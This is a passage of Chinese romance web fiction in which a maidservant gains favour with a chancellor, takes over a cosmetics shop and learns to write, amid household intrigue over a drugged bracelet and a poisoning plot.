萧怀停只觉得一股热意又在慢慢攀升。 欢娘系好后,倒是也没急着起来,顺势就靠在了他腿上。 “爷,奴婢给您做了好些香料,您喝完茶,跟奴婢去看看?” 她微侧着头,尽量露出半边好看的脸。 温柔,又妩媚动人。 萧怀停一手端起茶杯,另一只手就鬼使神差的抚上她脸颊。 软软的脸颊,他没忍住按了两下。 很软,让他想把人捞进怀里,肆无忌惮。 “嗯。” 他偏过头,大口灌了两杯茶,压下被她撩拨的欲望。 欢娘得了便宜,就越发的乖巧了,轻轻的给他按摩,捶捶腿。 春意涌动的眸子里,藏着的算计,藏都没藏住。 萧怀停却不意外。 她可不就是无利不起早吗?只是以前还含蓄,伪装,现在倒是……大胆起来了。 因为怀了孩子,有了底气吗? 孩子……萧怀停想到这两个字,心头就好像被软绵绵的棉花压了一下,说不清那是什么情绪。 随后,萧怀停就被欢娘带进了调香室。 她献宝一般,拿出了一盒好东西。 有香薰,香膏,香姨子,精油等。 全都是照着他喜好来的。 “奴婢做了很长时间,新鲜的梅花都用完了,做了这么些,以后爷您用的这些东西,都交给奴婢做,好不好?” 她抹了些香膏,轻轻的点在他手背上,用指尖慢慢揉开。 相爷平日里怕是也不大注意保养双手,冬季干燥,所以有些粗糙。 从他的指腹轻轻揉到指缝,再缓缓覆上他的手心。 因为常年写字,掌心带有薄茧。 触碰到时,她觉得自己指尖的软肉都被割了一下,脑海中莫名闪过爷的手抚过她后背时的触感。 欢娘没出息的脸红了。 手指轻微用力,将那干涩的香膏捻开,涂抹,直到完全均匀。 萧怀停的目光落在她垂着的眉眼上,很安静,似乎只剩下香膏淡淡的香气。 他觉得自己的手被覆盖了一层东西,变得柔软。 下一瞬,目光扫过她微红的脸颊,她戴着那大金镯子,格外显眼。 萧怀停目光暗沉。 “这镯子,你很喜欢?” “嗯,那是老夫人赏赐。” 欢娘认真点头,心里却觉得有些可惜,这大金镯子若是能换成银子,那可是好第一笔钱。 但主子赏赐的,她没敢随便乱动。 还是爷好啊,给的是银子,最实在了。 赚钱的事情在脑海中闪过,欢娘鼓足勇气,抬眸,看着他。 “爷,奴婢想一直跟着您,可跟着跟着,奴婢心中有愧。” 心底想法越浓烈,她的目光就越是深情和柔软。 萧怀停却听的莫名,眉头轻轻一挑,有些好奇。 有愧这个词儿,从她嘴里说出,倒是新鲜的很。 “奴婢吃您的,用您的,穿您的,将来生了孩子,也是全靠爷,奴婢好像很没用……” 只听她说着说着,委屈了。 “奴婢想有用,也想自己能赚钱,除了做这些香膏给爷,也还想送些别的……” 萧怀停就静静的听着她说。 一堆冠冕堂皇的理由。 “所以你想要什么?” 等她嘀咕完后,萧怀停眉眼深处,划过一丝笑意。 开门见山的问。 “奴婢想要一个赚钱的机会,爷您都喜欢奴婢调配的香料,想来别人也会喜欢的,您能不能帮帮奴婢?” “若得了红利,奴婢分您两成。” 她大着胆子索要,但也不让他白帮忙。 萧怀停扫了一眼她这一屋子的香料,看着她眼波流转,明晃晃打自己主意的样子。 有些哭笑不得。 她胆子大,也不是这一天两天了,只是没想她还想自己赚钱? “你那两成利,我不需要,城北东街有一家胭脂铺,生意一般,不亏不盈利,你若有兴趣,可以交给你去经营,盈亏自负。” 欢娘愣住。 她原意是想借着爷的身份和人脉,打着爷的名号去贵人圈里卖这些东西。 可没想,爷直接给了她一个铺子经营? 如果只是卖给那些贵人,自己最大的损失也就是个人精力和材料费,最后失败还能交给丽姑姑,低价卖出。 要亏损都难。 可若是经营铺子,那就完全不同了。 要人工,要租金,她自己打开门去做生意,就她那家底,能撑多久? 萧怀停见她半响都没开口,脸上还写着淡淡的惶恐。 “怎么?害怕吗?” 刚才还信誓旦旦的要努力,要赚钱,要有自我。 可现在,就退缩了? “不是,奴婢只是紧张,从小到大,奴婢还没做过这种事,奴婢没学过这些,不知道要怎么经营。” 欢娘摇摇头。 其实心里是怕的,可转念一想,亏了就亏了,大不了就继续再努力的讨好爷,爷他大方,赏赐多。 “但奴婢会学的,奴婢会努力,爷给了奴婢这么好的机会,奴婢一定证明给您看。” 为了不被看轻,欢娘信誓旦旦的道。 而且她觉得,这或许是个好机会,成了,也许爷会对她刮目相看呢? 萧怀停只是点了点头。 看来她的野心,不止是给他生子,母凭子贵那么简单。 晚上。 采菊找了过来。 告诉她明天出门去看铺子,做个交接。 “欢娘,你真是让我刮目相看。” 不管她是怎么做到的,但采菊见到的情况就是爷对欢娘的态度,总是不一样的。 “爷没那么好说话,也没准他觉得我会给他丢脸,所以都不准我打着他的旗号,去卖香料。” 欢娘撇撇嘴,她觉得这和采菊姐姐的预期,可差远了。 采菊笑着摇摇头。 也没解释,说了欢娘不会信,来日她总能知道这样的好处。 然后,拿出了一个小小的首饰盒,打开,那俨然一个高冰桃花粉翡翠福镯。 欢娘只在那些贵女手上见过,而且并非人人能戴的。 “这是爷赏你的。” 第五十八章他的好,他当真是极好 采菊拉起她的手,很自然的将那大金镯子退下。 换上了这极其贵重的玉镯。 大金镯子是很值钱,可哪里是能和这样的玉镯相比的? 欢娘手都有些颤抖。 “爷把这么贵重的东西,就这么赏给我了?” 她呆呆的看着自己手腕,只觉得沉甸甸的。 心里却有些纳闷,他怎么就不能当面给她呢?这般贵重的礼物,她可不就能趁着这机会,好好的报答爷了吗? “总不能是我偷的不是?” 采菊笑着调侃。 拉着她的手,看的极为满意。 那玉镯是万里挑一的‘神仙料’,欢娘的皮肤白里透红,肤若凝脂,果然爷的眼光极好。 从那么多翡翠玉镯中,挑了这一款粉镯,他若亲眼看到,定也会喜欢。 晚上,送走采菊以后,欢娘躺在床上,感觉到手上的镯子一阵温凉,心头就不由得再次震撼。 爷可真是极其大方的主子。 另一边,采菊将那大金镯子送到了萧怀停屋里。 他手上带着一指环,指环上的银针一撬,大金镯子里放的药丸,一粒粒的,全都散落在碗里。 采菊看的一愣一愣的。 “老夫人这是何意?” “着急抱曾孙而已。” 萧怀停不以为意的浅笑。 采菊起先还没反应过来,等知道以后,惊的合不拢嘴了。 所以老夫人是给欢娘下了药,她才那般大胆的屡次三番来勾引爷? 而爷……他一直都知道,还默许了? “将这镯子,还给她。” 萧怀停重新修理好,装回盒子里。 她一门心思的想着要赚钱,若这大金镯子回不去了,还不知要有多苦闷。 翌日。 出门前,采菊就将金镯子还给欢娘,她收回屋子里。 如今在长风院里,她也不担心自己那点东西会被偷。 城北东街,凝霜阁。 欢娘跟着采菊进了铺子,这地方很大,三个门面,两层楼,只是店里空旷,货物不多,一眼扫去,还看不到店员在。 怪冷清的。 “采菊姐,这铺子当真没亏钱吗?” 欢娘小声追问。 她以前嫁的老头,也带她去看过铺子,和这里那是完全不同。 人多,货也多,总是人来人往。 “这里租金便宜,店员两个人,其中一位就是做胭脂的老师傅,成本低……” 采菊耐心给她解释。 “爷是不会诓骗你的。” 最后又说了一句。 “我不是这个意思,我自然相信爷。” 听的欢娘连忙解释,自己怎么可能敢去怀疑相爷呢? 随后采菊带着她去见了店铺里的人,介绍他们认识。 “这是你们的新东家,欢娘……” ‘新东家’? 欢娘可没什么高兴的,这是要彻底撇清关系的意思吗? 这下,她心头就越发紧张了。 而且在介绍完以后,采菊还借口有事,先走了,独留欢娘在铺子里。 她这位‘新东家’和两个店员大眼瞪小眼,面面相觑。 可就在这时,却来了客人。 门口的风铃发出轻微的声响。 欢娘回头望去。 下一刻,就连忙躲了起来。 “大师兄,行走江湖咱们用不到这些。” 来的人穿着红色劲装,一眼便能看到。 只是此刻的她,不是嚣张肆意,飞扬跋扈的。 反而乖巧的如邻家小妹一般,在那男人面前,如同小女人。 宁从夏,还有她的大师兄孙重吗? 还真是冤家路窄,在这儿都能碰上。 “这次要不是你拿出所有的家当,我还真没办法竞镖成功,那些珠宝首饰买了一个机会给我,我必须要好好谢谢你。” “何况,你陪我走镖,风吹雨晒,我怎么忍心你跟着我晒黑呢?” 那叫孙重的男人,正深情的看着宁从夏。 两人对视,只见宁从夏羞涩的别开了脸,脸颊微红。 “你回来后还要去相府,若你变丑了,只怕那矜贵的小公子会嫌弃你。” 随后他笑道。 宁从夏没好气的白了他一眼。 “把你们这里最好的香膏,拿出来。” 孙重转头对着店员就道。 他人魁梧强壮,个头很高,小麦色皮肤,浓眉大眼,看着倒是一身正气,但那眉眼总是微微上扬,有些趾高气扬。 店员愣了一下,把欢娘旁边那店员给喊了出去招呼客人。 她自己匆匆走进屋,就往后面的屋子跑去。 欢娘瞧着外头那两人,很是震惊。 他们什么意思?宁从夏……还要回去?她凭什么?又在打什么主意? 想着她便悄悄跟上了那店员的步伐。 宁从夏这人,实在是无耻。 后屋和她的调香室差不多,摆放了很多香料。 只见她手里拿着一个白色小瓷瓶,看那包装,倒是很精致。 “你这香膏,售价多少?” 好不容易在外面遇到,还栽到她手里,欢娘要是不做点什么,心里憋闷。 更何况,刚才听那两人的对话,宁从夏那个穷鬼,应当是把相爷送给她的见面礼,全都给她那大师兄了。 拿着相府的银子去讨好外面的男人。 宁从夏真是又穷又不要脸,就该狠狠的收拾一番。 再者,除了宰一顿,她也有另外的想法。 她居然还想着要回来?不管是不是真的,她都必须要提前做好准备。 总要有人知道宁从夏和那大师兄的关系,他日,才有人证。 她那么丑陋的嘴脸,公子应该看的清楚才是。 店员阿凝拿着香膏走到了柜台前。 眼底划过一丝不自然,再看面前的两位顾客,便再也忘不掉了。 她有些紧张,但最后还是以超出定制价格的五倍,三十两银子,卖了一瓶焕颜霜。 让她没想到的是,那个男人给银子时,眼皮都没抬一下,极其大方。 而那女人竟也不觉得奇怪。 “大师兄,谢谢你。” 反而那女人还含情脉脉的看着那个男的。 这两人,莫不是白痴? 阿凝一开始还有些忐忑,看着看着,等两人走后,都笑了。 “凝姐,怎么就三十两了?” 一旁小燕抓着她,惊呼。 “这是新老板的主意,我不过照办而已。” 阿凝两手一摊,深感无奈。 确定人走了,欢娘才从里侧走出来。 “干的不错,至少这一单,咱们半年的租金就有了。” “方才那两人,一看就是情投意合的,男人付钱买东西,自然不会跟你砍价。” 第五十九章洗洗干净,再去 为了给两人加深印象,她特地动了脑子,胡编乱造一下为什么会三十两卖。 可说着说着,她倒是觉得,很有道理。 欢娘灵光一闪,看着柜子里不多的胭脂水粉,来了主意。 店铺那么多,产品那么少,怎样才不会让人觉得寒碜,是物超所值呢? 她有了大致的想法,不过需要些时间,认真想想。 当下,还有更重要的事要处理。 方才听宁从夏的意思,是要去走镖的,和她那大师兄一起。 欢娘趁着采菊还没回来,便偷跑去了黑市。 再度找到上次那个小贩。 “我要你跟踪一个人,监视她的一举一动,需要多少银子?” 她居然还要回来,欢娘必须先弄清楚,她到底打了什么主意。 小贩愣了一下,看到是老主顾了,笑容灿烂。 “那可不低啊……” 欢娘却下定了决心,咬了咬牙。 “你说。” 不管多少,都得出。 谈好事情,她便准备要回铺子里,可却瞧见一熟悉的身影从对面的赌坊出来,还扶着一个油光满面,邋里邋遢的老头。 那老头断了一胳膊,走路也一瘸一拐的。 扶着他的,居然是小翠。 跟了月莹那丫鬟。 欢娘看着奇怪,等他们走远一些,才走到赌坊门口。 她没进去,赌坊门口就有看门的,欢娘塞了二两银子给那高高壮壮的大哥。 “大哥,我想问一下,刚才走掉的那姑娘和那老头子,是什么情况?” 欢娘指着已经很远的背影。 “他啊,老赌鬼一个,那是他闺女……” 大哥掂量着手中银子,面色一喜。 该说不说,欢娘出手,那是真大方,这一给,就是她一个月的月银。 可打听消息也很顺利,大哥连那一家的家底,都报给她听。 欢娘听的连连惊奇,满脸都是不可思议。 可也只当是一个小插曲。 晚上,回到长风院。 她看到相爷正坐在饭厅,用晚饭,下意识就看了眼采菊。 “我累了,先回去,你去伺候爷吃饭。” 采菊微笑着,一副看透欢娘小心思的样子。 说着,就往侧边回去了。 “谢谢姐姐。” 欢娘冲着她背影行了个礼,便主动跑进饭厅。 桌上,三菜一汤,以素食为主。 “爷,奴婢回来了。” 因为相爷背对着她,所以欢娘走进屋时,先道。 萧怀停平静的眸闪过一抹情绪,而后又跟完全没事一样。 他依旧淡漠的夹菜,吃饭。 回便回了,何须特地告诉他? 只见她走到了他面前。 眼眸里带着笑意,还有一丝讨好,而且许是刚回来的缘故,她身上带着从外归来的风尘,发丝都跟着飘动。 和往日的乖顺,不大一样。 “你想说什么?” 萧怀停停顿了一下筷子,看着她。 “我……” 咕咕咕。 她才要开口,便是一阵很不合时宜的叫声。 下一刻,只见她立刻捂住了咕咕叫的肚子,脸通红。 萧怀停嘴角微抽。 “奴婢失态,请爷见谅,奴婢……出去一整天了,还没吃东西。” 她似乎是被吓到,连忙解释。 “所以呢?来讨吃的?” 他嘴角微勾,看着她那因为尴尬红透了的脸。 “奴婢哪里敢?而且爷对奴婢那样好,不必奴婢讨吃的,每一顿都很丰盛。” 欢娘只觉得,爷这是又要笑话她,又准备嘲笑她了。 所以连忙解释。 她可从不敢动心思,来这里跟爷吃饭。 尊卑有别,她什么身份,一直都知道。 “出去一天,奴婢看到您,就冲过来了,没想那么许多。” “要是知道肚子会叫,奴婢可不愿在您面前出丑,奴婢这就回去。” 说完,她连忙就往外走去。 萧怀停见她走的那样干脆,眉头轻蹙。 可下一瞬,她似乎是想到了什么,又转过头来。 “爷,奴婢吃完饭,可以再来找您吗?” 那期盼又小心的眼神,生怕他会拒绝。 “随你。” 萧怀停只是看了一眼,便立刻避开那视线。 “那奴婢晚上过来。” 只听欢娘欢快的声音传来,再余光去找人时,已经跑了。 萧怀停再次嫌弃,无声的吃着饭。 欢娘真是饿了,晚上吃了两碗米饭。 一条清蒸鱼,酸辣白菜,很下饭。 在长风院,她伙食就没差过,顿顿有肉,而且很有营养。 吃饱了肚皮,她可没敢立刻就去找爷。 在屋子里走动了片刻,又去调香室捣鼓一下,消消食以后,还特地擦洗过后,换了身干净衣服才过去的。 今天在外面逛一天,出了汗,她可真怕挨着爷时,被闻到不好的味道,被爷嫌弃。 所以等她过去时,天都黑了。 依旧是书房亮着灯,可门却是关着的。 欢娘敲了敲,又喊了两声,屋内却没什么声音。 就在她犹豫时,风将门吹开了一条缝隙,她从缝隙里看到屋内,正在作画的爷。 便推开了门。 冷风吹的她打了个寒战。 她默默把门关上,靠近。 “爷,喝茶。” 随后倒了杯热茶,她主动走近。 “是你泡的吗?” 只是爷连头都没抬一下,语气还有些冰冷。 “不是。” 欢娘觉得他问的真是莫名。 下一秒,只见相爷停下动作,微微侧眸,看着她。 那表情就好像是欢娘做错事一样,她紧张的咽了咽口水,下意识就想去拉相爷的衣袖。 可是他却冷酷无情的别过了脸,就连手都挪开了。 欢娘暗叹口气。 “奴婢这就去泡。” 爷这人,一贯的难伺候,还阴晴不定。 那热茶肯定是才送进来的,那么烫,她实在摸不透爷到底在气什么。 等她再回来时,爷方才那副红梅图已经画好了。 她重新倒了热茶,奉上。 他这才没说什么,接了过去。 欢娘目光便落在那图上,看的极为认真。 先前她在老夫人院里,也看到过爷的画作,当时还是赵娣告诉她的,爷的画,很值钱。 也不知这副红梅图,估值多少? 但就算高价,爷也不会随便赏赐给她这么个奴才。 “喜欢?” 刚想着,爷突然开了口。 欢娘震惊的还以为是自己产生了错觉。 她连忙点头。 莫不是……要送给她? 她一脸期盼的看着爷那冰冷的脸,紧盯着嘴巴。 “我教你画。” 第六十章爷,你教我,脸红 话音刚落,欢娘就愣住了。 怎么,就不是自己想的那样? “可奴婢从来不曾学过画画。” 欢娘听的莫名心慌,连她都不知道,那一刻是紧张什么。 “奴婢……不识字,也不会握笔。” 她连忙解释着。 错愕的眼里都是紧张,频频咽口水,可是却没看到她对这事的抗拒。 萧怀停见她又怕又忐忑,眼眸却直勾勾地看着他。 眼眸微微一沉,将她拉到书桌前坐下。 案上素笺平铺,墨香淡淡。 欢娘垂落的另一只手,指尖攥着衣角,在爷执起她手的瞬间,眼一眨不眨盯着他手中狼毫。 笔锋落纸,一横一竖,她的手,任他握着,他低声念着笔画,欢娘连呼吸都放轻了些。 萧怀停只感觉怀里的人身体紧绷着,每一笔都学得虔诚,额角沁出细汗也浑然不觉。 眼中尽是渴慕,似要将这方寸笔墨刻进心底。 一字落成,纸上墨迹未干,只见她望着那简单笔画,嘴角悄悄弯起,眼里亮得像落了星子。 “是欢字。” 欢娘高兴的抬头,那星星便好似砸进了萧怀停心里。 他嘴角勾起不易察觉的弧度。 欢娘将那字拿起,变换着角度,看了又看,好像能从那字上,看出一朵花儿来。 “当真,一个字都不会?” 本以为她说的离谱,可看这样子,萧怀停倒是疑惑了。 欢娘笑容僵住,想了想,才道“也不是全都不会,认得几个。” 顿了一下,又嘟囔着“会写几个字。” 萧怀停注意到她红透的耳朵,来了兴致,便将笔递给她。 “写。” 倒是有些好奇,她所说的几个字,会是什么样的。 欢娘脸红的厉害,但一想到自己一会儿要写的字,又鼓足了勇气。 她握着笔,右手握成拳,抓着,刚要下巴,又想起刚才爷那笔的姿势。 她换了一下。 搁在拇指与食指之间,笔锋轻触宣纸,立刻留下一个黑点,她画了一笔,就像一条弯曲的山路。 欢娘只感觉自己脸烧的十分厉害。 最后还是换回了刚才握成拳的姿势,磕磕绊绊的写下了两个字。 扭曲的像是无数条毛毛虫组成的。 那种感觉,实在是难以形容。 一个‘萧’,一个‘停’。 萧怀停陷入沉思,许久。 这样的沉默让欢娘有些不安,她就坐在那里,依稀还能感觉到相爷温热的体温侵入身体,距离相近的地方,都是滚烫的。 她终于没忍住,将自己写的那张纸,揉一揉,皱皱巴巴的,然后逐渐揉捏成团。 恨不得挖个洞,埋起来。 “自己的名字不会,倒学一些乱七八糟的,还学不明白。” 半响后,才听相爷冷声开口,语气里的嫌弃,让她恨不得找个地洞钻进去。 可她本来就知道,会是这么个结果。 “这是奴婢从公子那里问来的,怎能是乱七八糟?光是这两个字,奴婢就学了许久,而且,本来就是照着爷您的笔迹来学的,就算学的不好,有可能……” 欢娘低着头反驳,嘟囔着,说着说着,就没了声。 “可能什么?” 萧怀停还真没想到,字写的丑,还能有这些理由。 所以是怨他,写的字不好吗? “奴婢不敢说。” 你不说,可你已经说的足够清楚了。 萧怀停冷笑一声,夺过她手里的笔,在方才那写着欢字的纸上,又写了一个字。 那叫一个行云流水,写着就是好看。 “照着这个写的?” 欢娘欣赏不到半刻,便又听到爷的嘲讽。 她耳根一热,将手里的纸团握的更紧了些,可下一刻却被爷抓住。 他硬生生的就把那纸团子拿了出来。 摊开,平整的放在那里,两厢对比,那就好似证据。 一样吗?似乎没一点相似,甚至就连用的纸,好像都不同了。 “奴婢愚笨。” 欢娘这下是被嘲笑的明明白白,她情绪低落。 现在可是将自己的短板,明明白白的放在爷面前了,他心底,定是鄙夷自己的。 也不知,他有没有觉得,自己宁愿不学自己的名字,都将他的字记在了心里,会不会感动。 可看这样,怕是也没有吧。 爷才不会注意到她那小小的心思,丢脸丢到家,倒是真的。 “从明日起,来这儿写一个时辰的字。” 就当她失落的准备要从那椅子上起来时,毛笔重新塞回了她手里。 只见爷提着茶壶,在一旁坐下。 “今晚就照着欢字写,写十遍。” “爷,是要教奴婢写字吗?” 欢娘面露惊喜。 有些不可置信的问道。 她一个奴才,何德何能啊? 爷没什么表情,可他没反驳,那就足够了。 欢娘看着宣纸上,一个‘停’,一个‘欢’,两个字之间隔着半指的距离,可却在同一张纸上。 这多难得啊。 而且,都那么好看。 就好像他们是可以并肩站立在一起似的。 欢娘很激动,可却不知这是在兴奋什么。 她默默的重新拿一页纸,开始写字。 临摹的极为认真,就是字丑的一塌涂地。 萧怀停喝着茶,看着她笨拙的样子,心绪平静。 就写十个字而已,她却花了小半个时辰。 等放笔时,欢娘累的直甩手。 萧怀停起身一看,眉眼直抽抽。 “不错。” 让她写‘欢’,可她却按着‘停’狂写。 写出了没有功劳也有苦劳的感觉。 “奴婢一定努力,不会让您失望。” 丑就丑了,起码她能开始学写字。 这天大的恩赐,让她突然觉得,爷他其实真的挺好。 “爷,您这幅画,能送给奴婢吗?还有这个,奴婢也想要。” 萧怀停见她拿起一字,一画。 那幅随手画的梅花图,她还惦记着呢。 “过来。” 等她当宝贝一样收起来,萧怀停才靠在椅子上,伸出了手。 欢娘喜滋滋的,半点没有被勉强的样子。 相爷的手很大,一只手揽住腰,她往他怀里一坐,直接钩住了脖子。 动作是一气呵成。 她低头,便轻轻的印上唇,主动取悦。 直到屋内气氛灼热,气息紊乱,她衣衫也变得松松垮垮。 宽厚的手掌一寸寸掠夺,并未放过她,可和往日,似乎不大同。 第六十一章好日子这不就来了吗? “今日去看了铺子,可想好了要怎么经营?” 爷他点到即止。 分明身体那么诚实,但那双眼,却意外的清明。 欢娘以为是自己不够努力,还想继续,却被他压住了手,半点没有要继续下去的意思。 她便就这么红了脸,保持暧昧的姿势,坐在他身上,认认真真回答他的问题。 正好,她心里,其实是很想请爷把把关的。 难得他主动问,自己不用厚脸皮求她出主意,多好啊。 “那铺子很宽敞,很大,而且租金便宜……” 他不给进一步,欢娘也继续勾着他,说的极为认真。 首先当然要感谢爷出手大方。 然后才说起自己看到的情况,以及自己的想法。 “奴婢瞧着那地段,人不算多,但开在那附近的铺子,有古玩,乐器,首饰铺子,装饰都高雅的很,奴婢是想卖些精贵且稀少的东西。” 她说,他便点头,沉默着,并未说什么。 “奴婢想做那些贵人的生意,她们不缺钱,但对用的东西也极为挑剔,而且什么货,什么价,心里有主意,不好忽悠。” “想要想高价出售,可一时还拿不准,是否能让她们觉得物超所值……” 倒不是欢娘谦虚,而是她很清楚,京都有许多调香的高手,她那手艺对丽姑姑那一层人是很难得的。 可对贵人而言,也就稀松平常。 “人少,所以你想开张便吃三年,想法倒是不错。” 萧怀停听着听着,倒是来了些兴致,因为欢娘确实动了脑子,也认真。 能想到这份上,还真让他意外。 “你做的东西尚可,却也不是千金难求,不如多想些噱头,贵人买东西在意什么,你便让她们得到什么,这银子,自然心甘情愿,进你口袋。” 萧怀停那语调,很是漫不经心。 欢娘却听的极为认真。 贵人在意的,那不就是脸面,势头吗? 她为奴为婢多年,听的最多的只怕就是‘切勿丢了主子的脸面’。 而且,今日那叫孙重的,宁愿花大价钱买香膏哄宁从夏开心,可不就是因为脸面吗? “奴婢……好像懂了一点点。” 欢娘眼睛微亮,已经有了主意。 萧怀停眼眸微抬,嘴角微上扬,不动声色的等待着后续。 “爷,天色不早了,奴婢……伺候您就寝,可好?” 可欢娘的问题好像就这么完了。 她勾着他脖子的手,变得不安分,从颈后绕到前方,顺着脖颈一点点往下,放在衣领上,手指勾着纽扣,一扯就开了。 可欢娘觉得今晚自己好像比以前紧张,没了生扑的勇气,这样的行为,也有些难为情。 偏偏爷也格外冷静。 只是环住她腰的手,紧了紧,将她往怀里带,紧紧的搂住。 下一刻,手向下,从腰部往下便是臀部。 灼热的手触碰时,还用了下力。 欢娘惊的闷哼一声,脸在瞬间爆红。 她有些忐忑的看着爷,紧张的咽口水。 手一点点的,试探性的想探进他衣服。 可忽然就结束了。 她被直接抱起,然后腿才从他腰上慢慢滑落,在那之前,那双手就托着她的臀。 欢娘被抱的脸颊发热。 “不用你,出去。” 可爷他居然拒绝了。 那脸,始终是冷着了,好似这般主动勾引,都没勾起他什么兴趣。 都这般了。 看来爷确实没什么兴致。 欢娘点点头,还贴心的嘱咐爷,早些休息,便走了。 其实今晚洗洗干净过来,本是想着住进这里多日,她也没尽到自己该尽的义务。 生怕时间长了,爷会不满。 现在看来,爷不是那种人。 回到狭小的房间里,欢娘没有任何心理负担,睡的香甜。 书房里,烛火也没燃的太久。 翌日。 萧怀停早朝后回来,桌上又出现了白粥,烙饼,还有一盘凉菜。 “爷。” 进屋便看到欢娘穿着鲜艳的桃粉色,站在那里。 娇艳的如花一般。 而且她真是毫不掩饰她就是要来讨好他的心思。 随后,萧怀停坐在那里,欢娘伺候着用过早饭,便移步书房。 她紧步跟着,似乎是迫不及待。 “爷,这桌子是给奴婢的吗?” 书房里,除了萧怀停办公那桌子,下位多出了一张,放了文房四宝。 欢娘在看到的那一刻,原本的忐忑都消失了。 甚至那种喜悦,要胜过当初知道自己能留在长风院时。 “安静些,吵到本相,把你扔出去。” 萧怀停神情冷淡,扫了一眼。 欢娘连忙捂着嘴,高兴的直点头,然后往那桌前一坐,坐的笔直,端正。 他便走了过去,教她识字,写字。 可是时间过的可真快。 一个时辰,就是一晃眼。 欢娘看着面前的香燃尽时,都有些意犹未尽,偷偷看了眼相爷,只见他还在处理公文。 似乎没注意到。 她看着桌上歪七扭八的字,默默念了几遍,然后又偷偷摸摸的在写一会儿。 反正爷没注意到。 一晃眼,一个上午就过去了。 萧一侍卫来请爷去吃午饭,欢娘才连忙站起身。 她一抬眼便看到爷正一脸不解的看着她。 好似是在说,你怎么还在这儿? “爷,奴婢……奴婢忘了时间,是奴婢的过错,奴婢这就走。” 大意了,欢娘懊恼,不想只是偷偷摸摸的想练一会儿,时间却久了。 万一爷觉得她是得寸进尺,那就真的太冤枉了。 萧怀停起身,往外走去时,看到了桌上的字。 门外,萧一看着欢娘逃跑的背影,忍不住感慨。 “公子若有欢娘一半的认真,何须爷费那些心思给他布置课业?” 可嘟囔完,他又立刻意识到自己说了不该说的,赶忙闭嘴,退到了一边去。 他真是昏了头,怎能将公子和这奴婢,相提并论? 学了一早上,吃了午饭,欢娘出门了。 她刚得了一铺子,又是爷应允的,所以便能自由出入相府。 这等特权,让欢娘感受到了权力的好。 然后营业中的铺子,就先关了门。 欢娘打算重新装饰一下凝霜阁,重新开业。 之后的几天,她都很忙。 早上学习,下午要么待在调香室,要么就外出去铺子里查看。 说她是个丫鬟,那都不大像。 频繁出入,而且能在长风院来去自如,这样的特权,到底是让有的人,很不高兴。 第六十二章恃宠而骄,失宠了? 小翠看到她风风火火的从外面回来,已经是多次了。 她莫名的发慌。 “姨娘,你说欢娘自打搬去长风院,伺候相爷以后,她的日子,是不是要比以前过的好?” 她回到听雨轩以后,将自己的不安,告诉了月莹。 公子一走,欢娘也搬去长风院,这边就安静下来。 尤其是月莹,也算是府里的主子了,不用干活,也用不着伺候人,所以近来越发的白嫩富态。 倒真有几分做主子的样子了。 “那边的事,别过问,以免节外生枝。” 月莹是愤恨的。 可现下公子外出,她孤立无援,一想起相爷,她就心里发怵,又怎么还敢去找欢娘的麻烦。 “奴婢是担心,相爷对欢娘那样好,会不会……去查之前那事儿?” 小翠也不想去找欢娘的麻烦。 可她太慌了。 啪…… 话刚说完,就是一巴掌飞了过来。 小翠被煽的脑子嗡嗡响。 “之前有过什么事儿?你别在这儿胡说八道。” 月莹情绪激动,身体都因此在轻微颤抖。 小翠看向她,委屈的都快要落泪了。 “跟在我身边这么久,还这么蠢,这么笨?你想死,别拉着我。” 月莹厉声吼道。 跟着就狠狠的教训了小翠一通。 小翠愣是一个字都没敢再提,红着脸从屋子里跑出去了。 可是月莹却开始坐立难安。 小翠的话不断在脑海里重复着,她坐立难安。 晚上。 月莹在马棚里等了很久,直到她的父亲牵着马出现,她疾步跑上去。 “爹爹。” 月莹的生父月福海,也是萧怀停的车夫。 他一直跟在萧怀停身边,哪怕吃住也是在长风院,平日很少和家里人接触。 而马棚,大概是唯一除了长风院,他会待的地方。 “爹爹,我等了你很久。” 哪怕同在相府,可月莹从小很少见到爹爹,不太熟悉。 可此刻,她一见到他,便红了眼眶。 “有事吗?” 尤其是在听到爹爹冷淡的回复时,她更是委屈的直接哭了。 “爹爹,娘被处罚,送去了矿山,兄长本已经做到了商铺的掌柜,现在却在庄子上刨泥,这些事儿,你都不知道吗?” 月莹忍不住控诉。 发生了这么多事,他居然还问自己,有事儿吗? “就算平日里你和我们不大相见,但不管怎样都是一家人,啊,爹爹,难道你就对这一切,不闻不问?” 她又道。 月福海沉默了片刻。 “做了错事,就该受到处罚,你们自幼……为父便教导过,生来便是萧家的仆人。” 他冷声道。 “过两日我休沐,爷允许我去看看你兄长,待过些日子,若他知道悔改,自会再给他安排。” “至于你娘……发配至矿山的奴仆,我实在无能为力。” 月莹听着爹爹一番说辞,只觉得冷的可怕。 “那……我呢?” “公子是个好人,重感情,对待下人温和,尤其是你,跟着公子长大,他视你为半个亲人,只要你安分守己,将来为公子生个孩子,位份便能提上去。” “规规矩矩的做人,你这辈子,也不会受多少苦头。” 月福海又道。 “爹爹,后院之争,根本不是你想的那么简单,我……” “除非你妄想正妻之位。” 她正要反驳。 可月福海的一句话,却让她沉默了。 片刻后,她又摇了摇头。 “我没有,我怎配得上呢?” 月福海没再看她,拴好马,就离开了马棚。 翌日一早。 萧怀停下朝回来,依旧吃着欢娘给他准备的早饭。 然后,她炫耀般的,将她写的字拿了出来。 是她自己的名字。 算不得多好看,但起码工整,干净。 “不错。” 欢娘难掩喜色。 尽管她听着爷的声音,没有半点温柔,甚至他看那两个字时,还带着惯有的嫌弃。 可欢娘还是高兴。 相爷这性子,没嘲讽她,便已经证明,他心里是不讨厌的。 更别说,还能听到他的‘夸赞’。 现在她都有些懂,为何公子不被相爷训斥时,也那般的高兴。 “都是爷教的好,爷的功劳。” “我没你这般的学生。” 可很快就一盆凉水泼下来了。 那般嫌弃的口吻,说的欢娘笑意都少了一半。 真是嘴毒,苛刻的很啊,她也有自知之明,自己什么身份,怎敢以学生自称? 欢娘撇撇嘴,真是自讨了个没趣。 所以准备离开。 “你中蛇毒一事,有些眉目了。” 可才挪了一步。 就被爷一句话勾的挪不动脚步了。 她连忙转身回到他身边,一脸期盼等待后续。 可爷就只顾着吃饭,还慢条斯理的,极为认真。 “找捕蛇人打听过,那蛇是从深山里捕获,原本是卖去楼里做蛇肉羹,可却被人拦道,买了去。” “这是买蛇那人的画像,你看看,可认识?” 萧一秒懂爷的意思,便接着爷的话,继续道。 一副小像,欢娘便接了过来。 只是看到画中人的瞬间,愣了一瞬。 那人一身红衣,手持长剑,却遮掩着面纱,看不清面容。 可却是江湖中人的打扮。 只看一眼,她便想到了宁从夏。 竟是她?要致自己于死地? 